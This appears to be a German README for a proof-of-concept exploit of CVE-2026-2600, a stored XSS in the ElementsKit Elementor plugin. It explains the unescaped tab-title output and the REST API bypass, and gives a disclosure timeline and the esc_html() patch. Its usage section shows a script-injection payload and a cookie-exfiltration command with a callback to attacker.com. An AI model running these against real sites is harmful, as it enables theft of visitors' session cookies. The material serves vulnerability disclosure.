
Proof-of-Concept-Exploit für CVE-2026-2600, eine gespeicherte XSS-Schwachstelle in ElementsKit Elementor Addons <= 3.7.9, die es authentifizierten Contributoren ermöglicht, beliebige Skripte über manipulierte Elementor-Daten einzuschleusen.
| CVSS | 6.4 MEDIUM |
| Betroffen | <= 3.7.9 |
| Behoben | 3.8.0 |
| Min. Rolle | Contributor (edit_posts) |
| Vektor | Netzwerk / Geringe Komplexität / Geringe Privilegien |
Das Simple-Tab-Widget rendert Tab-Titel mit echo-Ausgabe, aber ohne Output-Escaping. In widgets/tab/tab.php führt die Render-Schleife Folgendes aus:
foreach ( $settings['ekit_tab_items'] as $index => $item ) {
echo '<a ...>' . $item['ekit_tab_title'] . '</a>';
}
Der Elementor-Editor bereinigt Eingaben clientseitig, aber der REST-API-Endpunkt (/wp-json/wp/v2/posts/{id}) akzeptiert das _elementor_data-Meta-Feld direkt und umgeht diese Ebene vollständig.
Ein authentifizierter Contributor kann einen Beitrag mit einer manipulierten Elementor-JSON-Payload per PATCH ändern, die ekit_tab_title auf beliebiges HTML setzt. Da der Wert wörtlich in _elementor_data gespeichert und beim Rendern ohne esc_html() ausgegeben wird, wird das Skript im Browser jedes Besuchers ausgeführt, sobald die Seite geladen wird.
Jeder Contributor kann:
Zum Zeitpunkt der Offenlegung waren über 400.000 aktive Installationen betroffen.
pip install requests
python3 poc.py https://target.com contributor p4ss
Das Skript authentifiziert sich über HTTP, ruft den REST-Nonce aus dem Admin-Editor ab, erstellt einen Entwurfsbeitrag, patcht _elementor_data mit der XSS-Payload, die im ekit_tab_title-Feld eingebettet ist, und veröffentlicht den Beitrag. Die Ausgabe bestätigt, ob die Payload im Seitenquelltext aktiv ist.
# Benutzerdefinierte Payload
python3 poc.py https://target.com contributor p4ss --payload '<script>alert(document.domain)</script>'
# Cookie-Exfiltration mit Callback
python3 poc.py https://target.com contributor p4ss --type cookie --callback https://attacker.com/steal
# Interaktiver Konsolenmodus
python3 console_poc.py
| Datum | Ereignis |
|---|---|
| Januar 2026 | Entdeckt durch SVN-Diff-Review. PoC bestätigt. |
| Januar 2026 | Gemeldet an die Patchstack Alliance mit vollständigem Bericht und PoC. |
| März 2026 | Wpmet lieferte den Fix in v3.8.0. |
| April 2026 | CVE-2026-2600 veröffentlicht. CVSS 6.4 MEDIUM zugewiesen. |
Wpmet hat esc_html() um die Tab-Titel-Ausgabe in widgets/tab/tab.php ergänzt:
- echo '<a ...>' . $item['ekit_tab_title'] . '</a>';
+ echo '<a ...>' . esc_html( $item['ekit_tab_title'] ) . '</a>';